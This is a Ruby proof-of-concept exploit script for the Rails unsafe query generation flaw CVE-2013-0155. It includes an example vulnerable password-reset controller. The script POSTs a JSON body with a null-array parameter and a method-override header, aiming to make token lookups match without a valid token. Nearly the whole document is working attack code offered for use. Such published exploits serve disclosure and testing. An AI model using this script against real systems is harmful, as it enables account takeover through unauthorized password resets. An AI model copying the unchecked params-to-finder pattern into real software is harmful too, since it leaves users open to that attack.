Proof-of-Concept exploit for Rails Unsafe Query Generation (CVE-2013-0155)

rails_jsonq.rb

#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails Unsafe Query Generation (CVE-2013-0155)
#
# ## Advisory
#
#   https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/t1WFuuQyavI
#
# ## Synopsis
#
#   $ rails_jsonq.rb HOST PARAM
#
# ## Dependencies
#
#   $ gem install ronin-support
#
# ## Example
#
#   $ rails_jsonq.rb http://localhost:3000/users/reset_password token
#
# ### config/routes.rb
#
#   resources :users do
#     collection do
#       post :reset_password
#     end
#   end
#
# ### app/controllers/users_controller.rb
#
#   def reset_password
#     if (@user = User.find_by_token(params[:token]))
#       @user.reset_password!
#
#       render :json => 'Success'
#     else
#       render :json => 'Failure'
#     end
#   end
#
# ## License
#
# Copyright (c) 2013 Postmodern
#
# This exploit is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This exploit is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this exploit.  If not, see <http://www.gnu.org/licenses/>.
#
# ## Shoutz
#
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch,
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern,
# mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @charliesome,
# @homakov, @envygeek, @chendo, @tenderlove (for fixing it), Fun Town Auto,
# garbage pail kids, hipsters, the old Jolly Inn, Irvin Santiago,
# that heavy metal dude who always bummed cigarettes off us,
# SophSec crew and affiliates.
#

require 'ronin/network/http'
require 'ronin/ui/output'
require 'json'

include Ronin::Network::HTTP
include Ronin::UI::Output::Helpers

unless ARGV.length == 2
  $stderr.puts "usage: #{$0} URL PARAM"
  exit -1
end

url   = ARGV[0]
param = ARGV[1]

json = {param => [nil]}.to_json

print_info "POSTing #{json} to #{url} ..."

response = http_post(
  :url       => url,
  :headers   => {
    :content_type           => 'application/json',
    :x_http_method_override => 'get'
  },
  :body      => json
)

print_debug "Received #{response.code} response"

case response.code
when '200' then print_info  "Success!"
when '404' then print_error "Not found"
when '500' then print_error "Error!"
end